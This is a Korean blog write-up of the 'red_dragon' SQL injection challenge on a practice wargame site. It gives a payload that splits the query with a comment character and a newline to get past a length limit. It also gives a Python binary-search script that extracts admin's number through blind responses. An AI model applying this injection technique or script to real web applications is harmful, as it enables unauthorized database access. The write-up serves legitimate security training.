반응형
문제
https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php
문제풀이
admin의 no를 입력하면 문제가 해결된다.
no 파라미터에는 숫자만 전달이 가능하고, id 파라미터는 7자리 이상 입력이 불가하다.
no를 알아내기 위해서 아래와 같은 쿼리를 전송한다.
id='||no<%23&no=%0a {}
%23으로 주석처리 하고, %0a 개행문자로, id='||no<{숫자}가 된다.
- 파이썬 코드
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
# flag_len
flag_len=0
left=586000000
right=1000000000
while True:
mid=(left+right)//2
query="?id='||no<%23&no=%0a {}".format(mid)
res=requests.get(url+query,cookies=cookie)
if left>right:
flag_len=mid
print("no:{}".format(flag_len))
break
if "Hello admin" in (res.text):
right=mid-1
else:
left=mid+1
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] frankenstein (0) | 2023.11.04 |
---|---|
[LOS] blue_dragon (0) | 2023.11.03 |
[LOS] green_dragon (0) | 2023.01.28 |
[LOS] evil_wizard (0) | 2023.01.25 |
[LOS] hell_fire (0) | 2023.01.25 |